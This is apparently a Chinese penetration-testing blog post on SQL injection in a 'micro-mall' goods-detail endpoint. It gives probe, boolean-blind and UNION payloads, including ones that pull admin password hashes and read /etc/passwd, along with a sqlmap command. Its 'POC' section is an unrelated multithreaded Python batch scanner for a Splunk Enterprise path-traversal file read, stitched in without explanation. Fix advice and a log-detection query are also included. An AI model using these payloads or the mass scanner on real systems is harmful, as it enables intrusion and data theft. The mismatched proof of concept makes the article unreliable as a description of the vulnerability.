#渗透测试#批量漏洞挖掘#微商城系统 goods SQL注入漏洞

news/2025/2/8 13:38:20 标签: 安全, 面试, sql, python, 注入, 漏洞挖掘, 微商场

免责声明 本教程仅为合法的教学目的而准备,严禁用于任何形式的违法犯罪活动及其他商业行为,在使用本教程前,您应确保该行为符合当地的法律法规,继续阅读即表示您需自行承担所有操作的后果,如有异议,请立即停止本文章读。

目录

一、漏洞概述

二、漏洞复现步骤

三、技术原理分析

四、自动化渗透测试

五、漏洞修复方案

六、企业级安全建议

七、扩展攻击场景

八、漏洞POC


一、漏洞概述
  • 漏洞类型:SQL注入(CWE-89)
  • 风险等级:高危(CVSS 3.1评分可达9.8)
  • 影响模块:商品查询接口(如/goods/detail
  • 攻击向量:通过构造恶意商品ID参数篡改SQL查询数据

二、漏洞复现步骤
  1. 探针请求
    使用单引号测试参数过滤机制:

GET /goods/detail?id=1' HTTP/1.1 
  • 预期响应

    • 若返回数据库错误(如You have an error in your SQL syntax),说明存在注入
    • 若页面正常显示,需进一步验证是否为盲注
  • 布尔盲注验证
    构造布尔条件测试:

# 条件为真 
GET /goods/detail?id=1' AND '1'='1 HTTP/1.1 

# 条件为假 
GET /goods/detail?id=1' AND '1'='0 HTTP/1.1 
  • 对比页面差异:真条件应返回正常商品信息,假条件可能导致内容缺失或提示"商品不存在"

  • 联合查询注入获取数据

GET /goods/detail?id=-1' UNION SELECT 1,version(),3,4-- -
三、技术原理分析

脆弱代码示例(PHP):

// goods.php  
$id = $_GET['id'];
$sql = "SELECT * FROM goods WHERE id = $id";
$result = mysqli_query($conn, $sql);

漏洞成因:直接将用户输入的id参数拼接到SQL语句,未进行类型转换或过滤。


四、自动化渗透测试

使用sqlmap进行自动化检测:

sqlmap -u "http://target.com/goods/detail?id=1"  --batch --risk=3 

关键检测参数

  • --technique=B 指定布尔盲注技术
  • --dbms=mysql 指定数据库类型
  • --tables 枚举数据库表

五、漏洞修复方案
  1. 参数化查询改造(PHP示例):

$stmt = $conn->prepare("SELECT * FROM goods WHERE id = ?");
$stmt->bind_param("i", $id); // 'i'表示整数类型 
$stmt->execute();

输入验证加强

// 强制转换为整数 
$id = (int)$_GET['id'];
// 或正则校验 
if (!preg_match('/^\d+$/', $_GET['id'])) {
    die("非法参数");
}
  1. 全局防御措施

    • 配置WAF规则拦截UNION SELECTSLEEP()等关键词
    • 修改数据库连接账号权限,禁止DROP、FILE等高危操作
    • 开启PHP的mysqli.real_escape_string 转义(但不应作为唯一防护)

六、企业级安全建议
  1. SDL整合
    • 在需求阶段定义商品ID只能为数值型
    • 开发阶段强制使用ORM框架(如Laravel Eloquent)
    • 代码审计阶段使用Checkmarx/Fortify扫描SQLi漏洞
  2. 监控与响应
-- 数据库审计日志查询示例 
SELECT * FROM mysql.general_log  
WHERE argument LIKE '%goods%'
  AND (argument LIKE '%UNION%' OR argument LIKE '%SELECT%SLEEP%')
七、扩展攻击场景

SQL注入可能引发后续攻击:

  1. 数据泄露
    提取管理员哈希:
GET /goods/detail?id=-1' UNION SELECT 1,password,3,4 FROM admins-- -

文件系统访问(需FILE权限):
读取服务器配置文件:

GET /goods/detail?id=1' UNION SELECT LOAD_FILE('/etc/passwd'),2,3,4-- -

:所有渗透测试应在法律许可范围内进行,企业用户应及时通过官方补丁升级修复漏洞。对于已部署系统建议开展红队演练验证修复有效性。

八、漏洞POC
python">#!/usr/bin/env python3 
"""
Splunk Enterprise for Windows 任意文件读取漏洞检测工具(优化版)
功能增强:
1. 支持多线程批量检测 
2. 增加HTTPS协议优先级 
3. 添加结果保存功能 
4. 改进漏洞特征检测 
5. 支持代理配置 
"""
 
import argparse 
import requests 
import sys 
import os 
from concurrent.futures  import ThreadPoolExecutor, as_completed 
from urllib3.exceptions  import InsecureRequestWarning 
 
# 禁用SSL警告 
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) 
 
# 颜色配置 
COLOR_CONFIG = {
    'RED': '\033[91m',
    'GREEN': '\033[92m',
    'YELLOW': '\033[93m',
    'RESET': '\033[0m'
}
 
# 漏洞检测配置 
DETECTION_CONFIG = {
    'timeout': 15,
    'max_redirects': 0,
    'vuln_signatures': ['[fonts]', '[extensions]', 'file://'],
    'path_traversal_depth': 10,  # 目录遍历层级 
    'default_ports': [8000, 8080, 443]  # 默认尝试端口 
}
 
def color_print(text, color=None):
    """彩色输出封装"""
    if color and COLOR_CONFIG.get(color.upper()): 
        return f"{COLOR_CONFIG[color.upper()]}{text}{COLOR_CONFIG['RESET']}"
    return text 
 
def construct_url(base_url):
    """智能处理URL格式"""
    base_url = base_url.strip() 
    if not base_url.startswith(('http://',  'https://')):
        for port in DETECTION_CONFIG['default_ports']:
            if f':{port}' in base_url:
                return f'https://{base_url}'
        return f'http://{base_url}'
    return base_url 
 
def check_file_read(target_url, proxies=None, timeout=None):
    """执行漏洞检测核心逻辑"""
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
        'Accept-Encoding': 'gzip, deflate'
    }
    
    # 动态构造路径遍历 
    traversal_path = '/C:%2e%2e' * DETECTION_CONFIG['path_traversal_depth']
    exploit_url = f"{target_url.rstrip('/')}/en-US/modules/messaging{traversal_path}/windows/win.ini" 
 
    try:
        response = requests.get( 
            exploit_url,
            headers=headers,
            verify=False,
            timeout=timeout or DETECTION_CONFIG['timeout'],
            allow_redirects=DETECTION_CONFIG['max_redirects'],
            proxies=proxies 
        )
 
        # 增强特征检测 
        vuln_detected = all(
            sig in response.text  for sig in DETECTION_CONFIG['vuln_signatures']
        ) if response.status_code  == 200 else False 
 
        return {
            'url': target_url,
            'status': 'VULNERABLE' if vuln_detected else 'SAFE',
            'status_code': response.status_code, 
            'content_length': len(response.text), 
            'response_sample': response.text[:100] 
        }
 
    except requests.RequestException as e:
        return {
            'url': target_url,
            'error': str(e)
        }
 
def process_results(results, output_file=None):
    """处理并输出检测结果"""
    for result in results:
        if 'error' in result:
            print(f"{color_print('[!]', 'YELLOW')} {result['url']} 检测失败: {result['error']}")
            continue 
 
        status_msg = color_print('[+] 存在漏洞', 'RED') if result['status'] == 'VULNERABLE' else '[-] 未检测到漏洞'
        info_msg = f"状态码: {result['status_code']} | 响应长度: {result['content_length']} | 响应摘要: {result['response_sample']}"
 
        print(f"{status_msg} - {result['url']}\n   {info_msg}")
 
        if output_file:
            with open(output_file, 'a') as f:
                f.write(f"{result['url']},{result['status']}\n") 
 
def main():
    parser = argparse.ArgumentParser(description='Splunk Enterprise 任意文件读取漏洞检测工具')
    parser.add_argument('-u',  '--url', help='单个目标URL')
    parser.add_argument('-f',  '--file', help='包含多个URL的文件')
    parser.add_argument('-t',  '--threads', type=int, default=5, help='并发线程数 (默认: 5)')
    parser.add_argument('-o',  '--output', help='结果输出文件')
    parser.add_argument('--timeout',  type=int, default=15, help='请求超时时间 (默认: 15秒)')
    parser.add_argument('--proxy',  help='使用代理 (示例: http://127.0.0.1:8080)')
    args = parser.parse_args() 
 
    # 参数校验 
    if not args.url  and not args.file: 
        parser.error(' 必须指定 -u/--url 或 -f/--file 参数')
 
    # 配置代理 
    proxies = {'http': args.proxy,  'https': args.proxy}  if args.proxy  else None 
 
    # 准备目标列表 
    targets = []
    if args.url: 
        targets.append(construct_url(args.url)) 
    if args.file: 
        if not os.path.exists(args.file): 
            sys.exit(color_print(f" 错误: 文件 {args.file}  不存在", 'RED'))
        
        with open(args.file,  'r') as f:
            targets.extend([construct_url(line)  for line in f if line.strip()  and not line.startswith('#')]) 
 
    # 执行并发检测 
    results = []
    with ThreadPoolExecutor(max_workers=args.threads)  as executor:
        futures = {executor.submit(check_file_read,  url, proxies, args.timeout):  url for url in targets}
        
        for future in as_completed(futures):
            results.append(future.result()) 
 
    # 处理结果输出 
    process_results(results, args.output) 
 
if __name__ == '__main__':
    main()

http://www.niftyadmin.cn/n/5844904.html

相关文章

【服务器知识】如何在linux系统上搭建一个nfs

文章目录 NFS网络系统搭建**1. 准备工作****2. 服务器端配置****(1) 安装 NFS 服务****(2) 创建共享目录****(3) 配置共享规则****(4) 生效配置并启动服务****(5) 防火墙配置** **3. 客户端配置****(1) 安装 NFS 客户端工具****(2) 创建本地挂载点****(3) 挂载 NFS 共享目录***…

深入了解越权漏洞:概念、危害与防范

前言 越权漏洞作为一种常见且极具威胁的安全隐患,就像隐藏在暗处的 “黑客帮凶”,时刻威胁着我们的数据安全和隐私。就让我们一起揭开越权漏洞的神秘面纱,深入了解它的来龙去脉、危害以及应对之策。 一、什么是越权漏洞 想象一下&#xff0…

flutter安卓打包签名

flutter安卓打包签名 1.创建签名文件 keytool -genkeypair -v -keystore my-release-key.jks -keyalg RSA -keysize 2048 -validity 10000 -alias my-key-aliaskeytool 是一个用于管理密钥和证书的命令行工具,通常与 Java 开发工具包 (JDK) 一起使用。my-release-…

预训练语言模型(笔记)

笔记来源:Transformer、GPT、BERT,预训练语言模型的前世今生(目录) - B站-水论文的程序猿 - 博客园 预训练语言模型的发展并不是一蹴而就的,而是伴随着诸如词嵌入、序列到序列模型及 Attention 的发展而产生的。 一、…

VERA: 基于视觉-语言模型的解释性视频异常检测框架

文章目录 速览摘要01 引言1.1 关键观察与研究问题1.2 我们的方法1.3 贡献 02 相关工作2.1 视频异常检测2.2 针对VLM的语言化学习 03 VERA框架3.1 视频异常检测的任务定义3.2 在VERA中通过语言化学习寻找VAD指导性问题训练目标训练数据通过学习者与优化器更新 Q Q Q学习者与优化…

2025.2.6 数模AI智能体大更新,更专业的比赛辅导,同提示词效果优于gpt-o1/o3mini、deepseek-r1满血

本次更新重新梳理了回复逻辑规则,无任何工作流,一共3.2k字细节描述。具体效果可以看视频,同时也比对了gpt-o1、gpt-o3mini、deepseek-r1-67BI,从数学建模题目解答上来看,目前我的数模AI智能体具有明显优势。 AI智能体优…

vmware ubuntu 扩展硬盘系统文件大小

首先,在VMware中添加扩展硬盘大小: 通过lsblk指令,可以看到添加的未分配硬盘大小情况: NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINTS fd0 2:0 1 4K 0 disk loop0 7:0 0 4K 1 loop /snap/bare/5 loop1…

Qt —— 加载百度离线地图、及简单绘图(附源码)

效果 说明 软件代码已下载了某区域的离线瓦片地图,通过百度离线api进行调用的地图效果。 源码 void PointMapTEST